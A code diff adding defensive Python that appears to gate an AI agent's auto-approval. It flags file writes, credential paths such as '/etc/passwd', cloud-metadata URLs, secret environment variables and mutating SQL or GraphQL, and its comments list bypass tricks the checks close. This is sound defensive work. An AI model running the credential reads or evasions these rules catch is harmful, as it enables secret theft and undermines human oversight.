+ # logging.basicConfig(filename=...) opens a log file for write.
+ basicconfig_aliases: "set[str]" = set()
+ # fileinput.input(..., inplace=True) rewrites a file in place.
+ fileinput_aliases = {"fileinput"}
+ # Higher-order invokers (map/filter/starmap/reduce) call their first arg, so
+ # one handed a writer (map(open, ...)) writes without a direct open() site.
+ # Track aliases (m = map; from itertools import starmap as sm) so an aliased
+ # invoker is still checked; the write-callable gate keeps map(len, ...) safe.
+ invoker_aliases = set(_HIGHER_ORDER_INVOKERS)
+
+ def _is_dynamic_namespace(node) -> bool:
+ # A namespace mapping whose .get/.pop/.setdefault (or subscript) can return
+ # open/eval/a mutator: globals()/locals()/vars(...), any X.__dict__,
+ # __builtins__, sys.modules. Looking a name up through one is as dynamic as
+ # getattr, so a value fetched from it fails closed.
+ if isinstance(node, ast.Attribute):
+ if node.attr == "__dict__":
+ return True
+ return (
+ node.attr == "modules"
+ and isinstance(node.value, ast.Name)
+ and node.value.id == "sys"
+ )
+ if isinstance(node, ast.Name):
+ return node.id in builtins_aliases
+ if isinstance(node, ast.Call) and isinstance(node.func, ast.Name):
+ return node.func.id in ("globals", "locals", "vars")
+ return False
+
+ def _methodcaller_writes(call) -> bool:
+ # operator.methodcaller("write_text", ...) / methodcaller(name): unsafe
+ # when the method name is a known writer/mutator, or non-constant (cannot
+ # be proven read-only).
+ if not call.args:
+ return False
+ first = call.args[0]
+ if not (isinstance(first, ast.Constant) and isinstance(first.value, str)):
+ return True
+ return first.value in _AUTO_UNSAFE_PY_ATTRS or first.value in _AUTO_UNSAFE_PY_WRITE_METHODS
+
+ def _fileinput_inplace(call) -> bool:
+ # fileinput.input(..., inplace=True) opens each file for in-place rewrite.
+ if _has_kwarg_splat(call):
+ return True
+ for kw in call.keywords or []:
+ if kw.arg == "inplace":
+ v = kw.value
+ if isinstance(v, ast.Constant):
+ return bool(v.value)
+ return True # dynamic inplace flag: cannot prove read-only
+ return False
+
+ def _basicconfig_writes(call) -> bool:
+ # logging.basicConfig(filename=...) creates/opens a log file for writing.
+ if _has_kwarg_splat(call):
+ return True
+ return any(kw.arg == "filename" for kw in call.keywords or [])
+
+ def _wraps_write_callable(arg) -> bool:
+ # The callable a partial wraps (partial(open, ...)); True when calling it
+ # could create/overwrite a file or resolve a dynamic/mutating function.
+ if isinstance(arg, ast.Name):
+ return (
+ arg.id in open_aliases
+ or arg.id in dynamic_aliases
+ or arg.id in code_exec_aliases
+ or arg.id in getattr_aliases
+ or arg.id in writer_aliases
+ or arg.id in archive_ctor_aliases
+ )
+ if isinstance(arg, ast.Attribute):
+ return (
+ arg.attr == "open"
+ or arg.attr in _AUTO_UNSAFE_PY_ATTRS
+ or arg.attr in _AUTO_UNSAFE_PY_WRITE_METHODS
+ or arg.attr in _ARCHIVE_CTOR_NAMES
+ )
+ return False
+
+ def _passed_write_callable(arg) -> bool:
+ # A concrete write callable handed as an argument to another call: a
+ # name bound to open / a writer / an archive constructor, or an
+ # attribute reference to a writer method / mutating os attr / archive
+ # ctor / .open. Unlike _wraps_write_callable this omits the fail-closed
+ # dynamic / getattr / code-exec poison aliases, which are already gated
+ # where they are *called* and would over-trigger when a benign alias is
+ # merely passed or printed (print(getattr(o, 'name'))).
+ if isinstance(arg, ast.Name):
+ return (
+ arg.id in open_aliases or arg.id in writer_aliases or arg.id in archive_ctor_aliases
+ )
+ if isinstance(arg, ast.Attribute):
+ return (
+ arg.attr == "open"
+ or arg.attr in _AUTO_UNSAFE_PY_ATTRS
+ or arg.attr in _AUTO_UNSAFE_PY_WRITE_METHODS
+ or arg.attr in _ARCHIVE_CTOR_NAMES
+ )
+ return False
+
+ # Names bound more than once cannot be folded to a single literal: this scan
+ # visits every assignment before any call is checked, so a later benign
+ # reassignment (base = '/etc'; open(base + '/passwd'); base = 'data') would
+ # otherwise mask the earlier sensitive value and auto-approve. Count every
+ # binding target up front and poison multiply-bound names to the escape
+ # sentinel so any path folded from them fails closed (asks) instead.
+ assign_counts: "dict[str, int]" = {}
+ for node in ast.walk(tree):
+ binding_targets = []
+ if isinstance(node, ast.Assign):
+ binding_targets = node.targets
+ elif isinstance(node, (ast.AnnAssign, ast.AugAssign)):
+ binding_targets = [node.target]
+ for target in binding_targets:
+ for sub in ast.walk(target):
+ if isinstance(sub, ast.Name):
+ assign_counts[sub.id] = assign_counts.get(sub.id, 0) + 1
+ multi_assigned_names = {name for name, count in assign_counts.items() if count > 1}
+ for node in ast.walk(tree):
+ if isinstance(node, ast.Import):
+ for alias in node.names:
+ if alias.name == "builtins":
+ builtins_aliases.add(alias.asname or "builtins")
+ elif alias.name in ("os", "posix"):
+ os_aliases.add(alias.asname or alias.name)
+ elif alias.name in _AUTO_UNSAFE_PY_LOAD_MODULES:
+ load_module_aliases.add(alias.asname or alias.name)
+ elif alias.name == "operator":
+ operator_aliases.add(alias.asname or "operator")
+ elif alias.name == "fileinput":
+ fileinput_aliases.add(alias.asname or "fileinput")
+ elif isinstance(node, ast.ImportFrom):
+ if node.module == "operator":
+ for alias in node.names:
+ if alias.name == "methodcaller":
+ methodcaller_aliases.add(alias.asname or "methodcaller")
+ if node.module == "logging":
+ for alias in node.names:
+ if alias.name == "basicConfig":
+ basicconfig_aliases.add(alias.asname or "basicConfig")
+ if node.module == "builtins":
+ for alias in node.names:
+ if alias.name == "open":
+ open_aliases.add(alias.asname or "open")
+ elif alias.name in code_exec_aliases:
+ code_exec_aliases.add(alias.asname or alias.name)
+ if node.module in _OPEN_ALIAS_MODULES:
+ for alias in node.names:
+ if alias.name == "open":
+ # gzip/bz2/lzma open(file, mode) writes on "w"/"a"/"x",
+ # mode in the 2nd arg like builtin open.
+ open_aliases.add(alias.asname or "open")
+ if node.module == "pathlib":
+ for alias in node.names:
+ if alias.name in _PATH_CTORS:
+ path_ctor_aliases.add(alias.asname or alias.name)
+ if node.module in ("os.path", "posixpath", "ntpath"):
+ for alias in node.names:
+ if alias.name == "join":
+ pathjoin_aliases.add(alias.asname or "join")
+ if node.module == "functools":
+ for alias in node.names:
+ if alias.name == "partial":
+ partial_aliases.add(alias.asname or "partial")
+ if node.module in _ARCHIVE_CTOR_MODULES:
+ _ctor = _ARCHIVE_CTOR_MODULES[node.module]
+ for alias in node.names:
+ if alias.name == _ctor:
+ archive_ctor_aliases.add(alias.asname or _ctor)
+ for alias in node.names:
+ if alias.name in _AUTO_UNSAFE_PY_WRITE_METHODS:
+ writer_aliases.add(alias.asname or alias.name)
+ # from itertools import starmap as sm / from functools import
+ # reduce as r: an aliased higher-order invoker.
+ if alias.name in _HIGHER_ORDER_INVOKERS:
+ invoker_aliases.add(alias.asname or alias.name)
+ elif isinstance(node, (ast.Assign, ast.AnnAssign)) and node.value is not None:
+ value = node.value
+ # AnnAssign (f: object = open) has a single target, no destructuring.
+ if isinstance(node, ast.AnnAssign):
+ assign_targets = [node.target]
+ else:
+ assign_targets = node.targets
+ targets = [t.id for t in assign_targets if isinstance(t, ast.Name)]
+ attr_targets = [t.attr for t in assign_targets if isinstance(t, ast.Attribute)]
+ if isinstance(value, ast.Name) and value.id in open_aliases:
+ open_aliases.update(targets)
+ attr_open_aliases.update(attr_targets) # box.f = open
+ elif isinstance(value, ast.Name) and value.id in getattr_aliases:
+ getattr_aliases.update(targets) # g = getattr
+ elif isinstance(value, ast.Name) and value.id in partial_aliases:
+ partial_aliases.update(targets) # p = partial
+ elif isinstance(value, ast.Name) and value.id in writer_aliases:
+ writer_aliases.update(targets) # s = save (numpy save alias)
+ elif isinstance(value, ast.Name) and value.id in archive_ctor_aliases:
+ archive_ctor_aliases.update(targets) # z = ZipFile
+ elif isinstance(value, ast.Name) and value.id in invoker_aliases:
+ invoker_aliases.update(targets) # m = map
+ elif isinstance(value, ast.Name) and value.id in path_ctor_aliases:
+ path_ctor_aliases.update(targets) # P = Path
+ elif isinstance(value, ast.Name) and value.id in pathjoin_aliases:
+ pathjoin_aliases.update(targets) # j = join
+ elif isinstance(value, ast.Attribute) and value.attr == "join":
+ pathjoin_aliases.update(targets) # j = os.path.join
+ elif isinstance(value, ast.Attribute) and value.attr in _PATH_CTORS:
+ path_ctor_aliases.update(targets) # P = pathlib.Path
+ elif (
+ isinstance(value, ast.Attribute)
+ and value.attr == "open"
+ and isinstance(value.value, ast.Name)
+ and value.value.id in builtins_aliases
+ ):
+ open_aliases.update(targets) # f = builtins.open
+ elif (
+ isinstance(value, ast.Attribute)
+ and value.attr in code_exec_aliases
+ and isinstance(value.value, ast.Name)
+ and value.value.id in builtins_aliases
+ ):
+ code_exec_aliases.update(targets) # e = builtins.eval
+ elif isinstance(value, ast.Attribute) and value.attr in _AUTO_UNSAFE_PY_WRITE_METHODS:
+ writer_aliases.update(targets) # s = np.save
+ elif isinstance(value, ast.Attribute) and value.attr == "open":
+ # A captured .open bound method (p = Path('out').open) opens a file
+ # on any call; its mode position varies (Path.open mode is 1st arg,
+ # builtin open's is 2nd), so fail closed on the call rather than
+ # guess the write mode.
+ dynamic_aliases.update(targets) # p = Path('out').open; p('w')
+ elif isinstance(value, ast.Attribute) and value.attr in _ARCHIVE_CTOR_NAMES:
+ archive_ctor_aliases.update(targets) # z = zipfile.ZipFile
+ elif isinstance(value, ast.Subscript):
+ dynamic_aliases.update(targets) # f = globals()["open"]
+ elif (
+ isinstance(value, ast.Call)
+ and isinstance(value.func, ast.Name)
+ and value.func.id in getattr_aliases
+ ):
+ dynamic_aliases.update(targets) # rm = getattr(os, "remove") / g(...)
+ elif (
+ isinstance(value, ast.Call)
+ and isinstance(value.func, ast.Attribute)
+ and value.func.attr in ("get", "pop", "setdefault")
+ and _is_dynamic_namespace(value.func.value)
+ ):
+ # f = __builtins__.__dict__.get("open") / globals().get("open"):
+ # a namespace lookup can return open/eval, so poison like getattr.
+ dynamic_aliases.update(targets)
+ elif (
+ isinstance(value, ast.Call)
+ and (
+ (isinstance(value.func, ast.Name) and value.func.id in partial_aliases)
+ or (isinstance(value.func, ast.Attribute) and value.func.attr == "partial")
+ )
+ and value.args
+ and _wraps_write_callable(value.args[0])
+ ):
+ dynamic_aliases.update(targets) # w = partial(open, mode="w")
+ elif (
+ isinstance(value, ast.Call)
+ and (
+ (isinstance(value.func, ast.Name) and value.func.id in methodcaller_aliases)
+ or (
+ isinstance(value.func, ast.Attribute)
+ and value.func.attr == "methodcaller"
+ and isinstance(value.func.value, ast.Name)
+ and value.func.value.id in operator_aliases
+ )
+ )
+ and _methodcaller_writes(value)
+ ):
+ dynamic_aliases.update(targets) # w = methodcaller("write_text", ...)
+ elif isinstance(value, ast.Constant) and isinstance(value.value, str):
+ # base = '/etc' -> resolve base in a later folded path. A name
+ # bound more than once is poisoned (\x02) so it fails closed.
+ for t in targets:
+ literal_str_vars[t] = "\x02" if t in multi_assigned_names else value.value
+ elif isinstance(value, (ast.Call, ast.BinOp, ast.Name, ast.JoinedStr)):
+ # p = Path('/etc'); q = p; r = os.path.join('/etc','x'): record a
+ # fully-literal folded path so a later reuse (p / 'passwd') folds.
+ folded = _folded_path(value, literal_str_vars, path_ctor_aliases, pathjoin_aliases)
+ if folded is not None and "\x00" not in folded and "\x02" not in folded:
+ for t in targets:
+ literal_str_vars[t] = "\x02" if t in multi_assigned_names else folded
+ elif isinstance(value, (ast.Tuple, ast.List)):
+ # Destructuring binds each element like a single assignment, so an
+ # aliased callable (f, _ = (open, print)) AND a string / path
+ # literal (base, leaf = ('/etc', 'passwd')) both propagate; without
+ # the latter a path folded from base/leaf would miss the sensitive
+ # target and auto-approve.
+ for target in assign_targets:
+ if isinstance(target, (ast.Tuple, ast.List)) and len(target.elts) == len(
+ value.elts
+ ):
+ for tgt_el, val_el in zip(target.elts, value.elts):
+ if not isinstance(tgt_el, ast.Name):
+ continue
+ tid = tgt_el.id
+ if isinstance(val_el, ast.Name) and val_el.id in open_aliases:
+ open_aliases.add(tid)
+ elif isinstance(val_el, ast.Name) and val_el.id in getattr_aliases:
+ getattr_aliases.add(tid)
+ elif isinstance(val_el, ast.Name) and val_el.id in partial_aliases:
+ partial_aliases.add(tid)
+ elif isinstance(val_el, ast.Name) and val_el.id in writer_aliases:
+ writer_aliases.add(tid) # s, _ = (save, 1)
+ elif isinstance(val_el, ast.Name) and val_el.id in archive_ctor_aliases:
+ archive_ctor_aliases.add(tid) # z, _ = (ZipFile, 1)
+ elif isinstance(val_el, ast.Constant) and isinstance(val_el.value, str):
+ literal_str_vars[tid] = (
+ "\x02" if tid in multi_assigned_names else val_el.value
+ )
+ elif isinstance(val_el, (ast.Call, ast.BinOp, ast.Name, ast.JoinedStr)):
+ folded = _folded_path(
+ val_el, literal_str_vars, path_ctor_aliases, pathjoin_aliases
+ )
+ if (
+ folded is not None
+ and "\x00" not in folded
+ and "\x02" not in folded
+ ):
+ literal_str_vars[tid] = (
+ "\x02" if tid in multi_assigned_names else folded
+ )
+ elif isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)):
+ # A callable captured as a parameter default (def f(o=open): o('x','w'))
+ # binds that parameter to the same alias set, so a later call through
+ # the parameter is still gated. defaults align to the tail of
+ # posonlyargs+args; kw_defaults align 1:1 with kwonlyargs (None = none).
+ _a = node.args
+ _defaulted = list(
+ zip(
+ (_a.posonlyargs + _a.args)[
+ len(_a.posonlyargs) + len(_a.args) - len(_a.defaults) :
+ ],
+ _a.defaults,
+ )
+ ) + [(p, d) for p, d in zip(_a.kwonlyargs, _a.kw_defaults) if d is not None]
+ for _param, _default in _defaulted:
+ if isinstance(_default, ast.Name):
+ _did = _default.id
+ if _did in open_aliases:
+ open_aliases.add(_param.arg)
+ elif _did in writer_aliases:
+ writer_aliases.add(_param.arg)
+ elif _did in archive_ctor_aliases:
+ archive_ctor_aliases.add(_param.arg)
+ elif _did in getattr_aliases:
+ getattr_aliases.add(_param.arg)
+ elif _did in partial_aliases:
+ partial_aliases.add(_param.arg)
+ elif _did in code_exec_aliases:
+ code_exec_aliases.add(_param.arg)
+ elif _did in dynamic_aliases:
+ dynamic_aliases.add(_param.arg)
+ elif isinstance(_default, ast.Attribute):
+ # An attribute writer / archive ctor / captured .open used as
+ # a default (def f(s=np.save), def f(z=zipfile.ZipFile),
+ # def f(o=Path('x').open)) binds the parameter like the
+ # equivalent assignment; a benign attribute (np.mean) does not.
+ if _default.attr in _AUTO_UNSAFE_PY_WRITE_METHODS:
+ writer_aliases.add(_param.arg)
+ elif _default.attr in _ARCHIVE_CTOR_NAMES:
+ archive_ctor_aliases.add(_param.arg)
+ elif _default.attr == "open":
+ dynamic_aliases.add(_param.arg)
+ elif (
+ isinstance(_default, ast.Call)
+ and (
+ (
+ isinstance(_default.func, ast.Name)
+ and _default.func.id in partial_aliases
+ )
+ or (
+ isinstance(_default.func, ast.Attribute)
+ and _default.func.attr == "partial"
+ )
+ )
+ and _default.args
+ and _wraps_write_callable(_default.args[0])
+ ):
+ dynamic_aliases.add(_param.arg) # def f(w=partial(open, mode="w"))
+ try:
+ for node in ast.walk(tree):
+ if isinstance(node, ast.Import):
+ for alias in node.names:
+ if alias.name.split(".")[0] in _AUTO_UNSAFE_PY_MODULES:
+ return True
+ elif isinstance(node, ast.ImportFrom):
+ if node.module and node.module.split(".")[0] in _AUTO_UNSAFE_PY_MODULES:
+ return True
+ # from-imports can bind mutating callables to bare names
+ # (from os import remove [as rm]); star imports hide anything.
+ for alias in node.names:
+ if alias.name == "*" or alias.name in _AUTO_UNSAFE_PY_ATTRS:
+ return True
+ # os.open imported as a bare callable is a low-level
+ # create/write, like the os.open attribute call below.
+ if alias.name == "open" and node.module in ("os", "posix"):
+ return True
+ elif isinstance(node, ast.Attribute):
+ # Any reference to a mutating attribute fails closed, even
+ # without an immediate call (rm = os.remove; rm("x")).
+ if node.attr in _AUTO_UNSAFE_PY_ATTRS:
+ return True
+ # builtins.exec / builtins.eval / builtins.__import__ (and
+ # compile/breakpoint) are dynamic code execution, matching the
+ # bare-name code_exec_aliases path; __builtins__.__import__(...)
+ # is a dynamic import that dodges the static import check.
+ if (
+ node.attr in ("exec", "eval", "__import__", "breakpoint", "compile")
+ and isinstance(node.value, ast.Name)
+ and node.value.id in builtins_aliases
+ ):
+ return True
+ elif isinstance(node, ast.Name):
+ if node.id in code_exec_aliases:
+ return True
+ elif isinstance(node, ast.Constant):
+ # Credential paths / parent traversal in a string or bytes
+ # literal (open('/etc/passwd') and open(b'/etc/passwd')), or a
+ # glob that resolves to one (glob.glob('/e??/passwd')).
+ val = node.value
+ if isinstance(val, bytes):
+ val = val.decode("latin-1", "ignore")
+ if isinstance(val, str) and (
+ _references_sensitive_path(val) or _glob_token_sensitive(val)
+ ):
+ return True
+ elif isinstance(node, (ast.BinOp, ast.JoinedStr)):
+ # A sensitive path concatenated from literals ('/etc'+'/passwd'),
+ # a pathlib / chain, an f-string (f'/proc/{pid}/environ'), a
+ # dynamic segment under a sensitive dir (f'/etc/{name}'), or one
+ # split through a literal variable (base = '/etc'; base+'/passwd').
+ if _folded_is_sensitive(
+ _folded_path(node, literal_str_vars, path_ctor_aliases, pathjoin_aliases)
+ ):
+ return True
+ elif isinstance(node, ast.Call):
+ # A sensitive path composed via os.path.join('/etc', name).
+ if _folded_is_sensitive(
+ _folded_path(node, literal_str_vars, path_ctor_aliases, pathjoin_aliases)
+ ):
+ return True
+ func = node.func
+ # x.__call__(args) is just x(args): unwrap so open.__call__('o',
+ # 'w') / save.__call__(...) reach the open/writer checks below
+ # instead of looking like a harmless ".__call__" attribute call.
+ if isinstance(func, ast.Attribute) and func.attr == "__call__":
+ func = func.value
+ if isinstance(func, (ast.Call, ast.Subscript)):
+ return True # calling a call/subscript result is dynamic
+ # A concrete write callable (open/writer/archive-ctor alias, or a
+ # writer/mutating attribute) handed as an argument to any call
+ # escapes into a helper that can invoke it without a direct
+ # open()/writer site -- the same bypass the map/starmap/reduce
+ # branches below gate, but through a user-defined helper
+ # (def run(fn): fn('o','w').write('x'); run(open)). A benign
+ # callable argument (run(len)) is unaffected.
+ if any(_passed_write_callable(a) for a in node.args) or any(
+ _passed_write_callable(kw.value) for kw in node.keywords
+ ):
+ return True
+ if isinstance(func, ast.Name):
+ if func.id in dynamic_aliases:
+ return True # call through a getattr alias is dynamic
+ if func.id in open_aliases and _builtin_open_writes(node):
+ return True
+ # A writer imported as a bare name (from numpy import save).
+ if func.id in writer_aliases:
+ return True
+ # A bare archive constructor (from zipfile import ZipFile)
+ # takes the mode as its 2nd arg like open, so ZipFile(x, "w")
+ # writes but ZipFile(x) reads.
+ if func.id in archive_ctor_aliases and _builtin_open_writes(node):
+ return True
+ # A bare-imported logging.basicConfig(filename=...) opens a
+ # log file for writing (from logging import basicConfig).
+ if func.id in basicconfig_aliases and _basicconfig_writes(node):
+ return True
+ # A writer/open alias handed to a higher-order invoker
+ # (map(open, names, modes), starmap(np.save, ...), or an
+ # aliased m = map / sm = starmap) is called without a direct
+ # open(...)/save(...) site; the callable is the first
+ # positional arg. A benign map(len, ...) is unaffected.
+ if (
+ func.id in invoker_aliases
+ and node.args
+ and _wraps_write_callable(node.args[0])
+ ):
+ return True
+ elif isinstance(func, ast.Attribute):
+ # Writer methods persist to disk without open() (np.save,
+ # img.save, plt.savefig, df.to_csv, json.dump); ask before
+ # they mutate the workdir in auto mode.
+ if func.attr in _AUTO_UNSAFE_PY_WRITE_METHODS:
+ return True
+ # logging.basicConfig(filename=...) opens a log file for write.
+ if func.attr == "basicConfig" and _basicconfig_writes(node):
+ return True
+ # A qualified higher-order invoker (itertools.starmap(open, ...),
+ # functools.reduce(open, ...)) calls its first arg like the bare
+ # map/filter form; the writer-check on that arg keeps a benign
+ # itertools.starmap(len, ...) / df.map(transform) safe.
+ if (
+ func.attr in _HIGHER_ORDER_INVOKERS
+ and node.args
+ and _wraps_write_callable(node.args[0])
+ ):
+ return True
+ # fileinput.input(..., inplace=True) rewrites a file in place;
+ # the default fileinput.input(...) only reads, so gate inplace.
+ if (
+ func.attr == "input"
+ and isinstance(func.value, ast.Name)
+ and func.value.id in fileinput_aliases
+ and _fileinput_inplace(node)
+ ):
+ return True
+ # os.open() always creates/writes a file descriptor
+ # (tracked through import aliases: import os as o; o.open()).
+ if (
+ func.attr == "open"
+ and isinstance(func.value, ast.Name)
+ and func.value.id in os_aliases
+ ):
+ return True
+ # A pickle-backed loader (torch.load, joblib.load) can execute
+ # code embedded in the file it deserializes.
+ if (
+ func.attr == "load"
+ and isinstance(func.value, ast.Name)
+ and func.value.id in load_module_aliases
+ ):
+ return True
+ if func.attr == "open" and _attr_open_writes(node):
+ return True
+ # An open bound onto an attribute (box.f = open; box.f('o','w'))
+ # writes on 'w'/'a'/'x' like the builtin, so gate the attr name.
+ if func.attr in attr_open_aliases and _builtin_open_writes(node):
+ return True
+ # ZipFile/TarFile/GzipFile/BZ2File/LZMAFile take the mode as
+ # the 2nd arg (like builtin open), so ZipFile(name, "w") writes
+ # but ZipFile(name) reads.
+ if func.attr in _ARCHIVE_CTOR_NAMES and _builtin_open_writes(node):
+ return True
+ # Enumerating a directory outside the sandbox reads host
+ # filenames (and enables reading their contents) the direct
+ # /etc/passwd checks would prompt for: Path('/etc').iterdir(),
+ # os.scandir('/etc'), os.listdir('/home'), os.walk('/'),
+ # Path('/home').glob('*'), glob.glob('/home/*'). Gate when the
+ # target dir folds to an absolute/tilde/sensitive path; a
+ # relative dir (Path('.').iterdir(), glob.glob('src/*')) stays
+ # safe, and an unresolved dynamic dir is left to other checks.
+ _enum_dir = None
+ if func.attr == "iterdir":
+ _enum_dir = func.value
+ elif func.attr in ("glob", "rglob", "iglob"):
+ # Path('/home').glob('*') enumerates the receiver dir;
+ # glob.glob('/home/*') enumerates the pattern's root dir.
+ _recv = _folded_path(
+ func.value, literal_str_vars, path_ctor_aliases, pathjoin_aliases
+ )
+ if isinstance(_recv, str) and _recv not in ("", "\x00"):
+ _enum_dir = func.value
+ elif node.args:
+ _enum_dir = node.args[0]
+ elif (
+ func.attr in ("scandir", "listdir", "walk")
+ and isinstance(func.value, ast.Name)
+ and func.value.id in os_aliases
+ and node.args
+ ):
+ _enum_dir = node.args[0]
+ if _enum_dir is not None:
+ _folded_dir = _folded_path(
+ _enum_dir, literal_str_vars, path_ctor_aliases, pathjoin_aliases
+ )
+ if isinstance(_folded_dir, str) and (
+ _folded_dir.startswith("/")
+ or _folded_dir.startswith("~")
+ or _folded_is_sensitive(_folded_dir)
+ ):
+ return True
+ except Exception:
+ return True # unexpected AST shape: fail closed
+ return False
+
+
+# Cloud-metadata / link-local hosts (mirrors the sandbox SSRF blocklist): a
+# read-named HTTP MCP tool pointed at one (fetch_url
+# {"url": "http://169.254.169.254/..."}) reads instance credentials, so it asks.
+_MCP_METADATA_HOST_RE = re.compile(
+ r"169\.254\.\d{1,3}\.\d{1,3}|"
+ r"100\.100\.100\.\d{1,3}|"
+ r"fd00:ec2::254|"
+ r"metadata\.google\.internal|"
+ r"metadata\.tencentyun\.com|"
+ r"://metadata(?=[:/])",
+ re.IGNORECASE,
+)
+
+
+def _mcp_arguments_reference_sensitive(arguments) -> bool:
+ """True if any string in an MCP call's arguments names a credential path, a
+ credential/secret environment variable (get_env {"name": "OPENAI_API_KEY"}),
+ or a cloud-metadata host (fetch_url {"url": "http://169.254.169.254/..."})."""
+
+ def walk(value) -> bool:
+ if isinstance(value, str):
+ return (
+ _references_sensitive_path(value)
+ or bool(_AUTO_SENSITIVE_MCP_NOUN_RE.search(value))
+ or bool(_MCP_METADATA_HOST_RE.search(value))
+ )
+ if isinstance(value, dict):
+ return any(walk(v) for v in value.values())
+ if isinstance(value, (list, tuple)):
+ return any(walk(v) for v in value)
+ return False
+
+ return walk(arguments)
+
+
+# DDL object types CREATE / DROP / ALTER share (DROP FUNCTION and ALTER INDEX
+# mutate just like CREATE INDEX).
+_SQL_DDL_OBJECTS = (
+ r"table|database|schema|index|view|function|procedure|trigger|"
+ r"sequence|role|user|extension|type|domain|aggregate|policy"
+)
+# Modifiers between the DDL verb and object (CREATE OR REPLACE VIEW, DROP
+# MATERIALIZED VIEW, CREATE UNIQUE INDEX).
+_SQL_DDL_MODIFIERS = (
+ r"(?:(?:or\s+replace|unique|temp|temporary|global|local|materialized|recursive)\s+)*"
+)
+# A SQL identifier (bare, "quoted", `quoted`, [bracketed]), optionally
+# schema-qualified, so UPDATE "users"/public.users/ONLY .../[users] SET all hit.
+_SQL_IDENT = r'(?:\w+|"(?:[^"]|"")*"|`(?:[^`]|``)*`|\[[^\]]+\])'
+_SQL_UPDATE_TARGET = r"(?:only\s+)?" + _SQL_IDENT + r"(?:\s*\.\s*" + _SQL_IDENT + r")*"
+# A read-named MCP tool (query_database, run_query) can still carry a mutating
+# SQL statement; match DML/DDL as whole statements (DELETE FROM, DROP TABLE) so
+# a natural-language query that merely contains the word "delete" stays safe.
+_MCP_ARG_MUTATION_RE = re.compile(
+ r"\b(?:delete\s+from|"
+ r"drop\s+" + _SQL_DDL_MODIFIERS + r"(?:" + _SQL_DDL_OBJECTS + r")|"
+ # Match the whole identifier (the outer trailing \b needs the alternative to
+ # end on a word boundary, so a bare \w stops mid-name and TRUNCATE users slips
+ # through); the optional opening quote/bracket/backtick covers "users"/[users].
+ r"truncate\s+(?:table\s+)?[\"\[`]?\w+|"
+ # UPDATE <target> [AS alias] SET: allow an explicit AS alias before SET so
+ # UPDATE users AS u SET is caught, not just the bare form. The implicit-alias
+ # form (UPDATE users u SET) is left out because it is indistinguishable from
+ # the prose "update <noun> <noun> set" and would flag natural language.
+ r"update\s+" + _SQL_UPDATE_TARGET + r"(?:\s+as\s+" + _SQL_IDENT + r")?\s+set\b|"
+ r"insert\s+into|replace\s+into|"
+ # SELECT ... INTO OUTFILE/DUMPFILE writes a file (MySQL); bare SELECT INTO
+ # <table> is left out (PL/pgSQL uses it to read into a variable).
+ r"select\s+[^;]*?\binto\s+(?:outfile|dumpfile)\b|"
+ # ALTER SYSTEM persists PostgreSQL server configuration; SYSTEM is not one of
+ # the DDL objects above, so match it explicitly.
+ r"alter\s+system\b|"
+ r"alter\s+" + _SQL_DDL_MODIFIERS + r"(?:" + _SQL_DDL_OBJECTS + r")|"
+ r"create\s+" + _SQL_DDL_MODIFIERS + r"(?:" + _SQL_DDL_OBJECTS + r")|"
+ r"grant\s+\w+|revoke\s+\w+|merge\s+into|"
+ # Catalog mutations: COMMENT ON <obj>, SECURITY LABEL, and LOCK TABLE change
+ # metadata or take a lock. Each needs a following keyword, so a "comment"
+ # column (SELECT comment FROM t) or "locks" table stays safe.
+ r"comment\s+on\b|security\s+label\b|lock\s+table\b|"
+ # PostgreSQL maintenance writes: REFRESH MATERIALIZED VIEW rewrites the view,
+ # REINDEX rebuilds an index. Both need a following object keyword/name, so a
+ # column or word "refresh"/"reindex" in prose stays safe.
+ r"refresh\s+materialized\s+view|reindex\s+\w+|"
+ # CALL proc(...) / EXEC[UTE] name / VACUUM mutate; CALL needs a following
+ # "(", ";", or end so natural-language "call me back" stays safe.
+ r"call\s+\w+(?=\s*[(;]|\s*$)|exec(?:ute)?\s+\w+|vacuum|"
+ # COPY ... FROM bulk-loads and COPY ... TO writes a file ([^;] stays in one
+ # statement).
+ r"copy\s+[^;]*?\b(?:from|to)\b)\b",
+ re.IGNORECASE,
+)
+# SQLite statements the base regex misses: ATTACH/DETACH a database (DATABASE
+# optional via the quoted-path form), a write-form PRAGMA (name=value / name(...),
+# unlike the read-form PRAGMA name), and load_extension() which runs a shared
+# library. These tokens are not natural language, so benign text does not trip.
+_MCP_ARG_SQLITE_MUTATION_RE = re.compile(
+ r"\b(?:attach|detach)\s+database\b"
+ r"|\battach\s+(?:database\s+)?['\"]"
+ r"|\bpragma\s+\w+(?:\.\w+)?\s*(?:=|\()"
+ r"|\bload_extension\s*\(",
+ re.IGNORECASE,
+)
+# State-changing SQL functions that mutate or write files inside a read-shaped
+# SELECT (pg_terminate_backend, setval, pg_write_file, lo_export, ...). The
+# trailing "(" is required, so a column named setval_count stays safe.
+_MCP_ARG_SQL_FUNCTION_RE = re.compile(
+ r"\b(?:pg_terminate_backend|pg_cancel_backend|pg_write_file|lo_export|"
+ r"lo_import|setval|nextval|set_config|pg_notify|dblink_exec|pg_reload_conf|"
+ r"pg_rotate_logfile|"
+ # advisory locks change session/transaction lock state (read-shaped SELECT).
+ r"pg_advisory_(?:lock|lock_shared|unlock|unlock_shared|unlock_all|"
+ r"xact_lock|xact_lock_shared)|"
+ r"pg_try_advisory_(?:lock|lock_shared|xact_lock|xact_lock_shared))\s*\(",
+ re.IGNORECASE,
+)
+# SQL engines treat /* */ and -- comments as whitespace, so DELETE/**/FROM and
+# UPDATE/**/users evade the \s+ in the mutation regex; collapse comments to a
+# space before matching.
+_SQL_COMMENT_RE = re.compile(r"/\*.*?\*/|--[^\n]*", re.DOTALL)
+# A GraphQL mutation on a read-named tool. Directives are valid between the name
+# and body (mutation M @audit { ... }), so allow @directive[(args)] before ( or {.
+_GRAPHQL_MUTATION_RE = re.compile(
+ r"\bmutation\b\s*\w*\s*(?:@\w+(?:\s*\([^)]*\))?\s*)*[({]", re.IGNORECASE
+)
+# GraphQL # comments run to end-of-line and count as whitespace, so a comment
+# between `mutation` and the body (mutation # note\n { ... }) would otherwise
+# hide it; collapse them to a space before matching.
+_GRAPHQL_COMMENT_RE = re.compile(r"#[^\n]*")
+
+
+# HTTP verbs that mutate the target resource; a generic HTTP MCP tool
+# (mcp__http__get_url {"method": "DELETE"}) mutates an external service even
+# though its name looks read-only. GET/HEAD/OPTIONS/TRACE only read.
+_MUTATING_HTTP_METHODS = frozenset({"POST", "PUT", "PATCH", "DELETE"})
+_HTTP_METHOD_KEYS = frozenset({"method", "http_method", "httpmethod", "verb", "http_verb"})
+
+
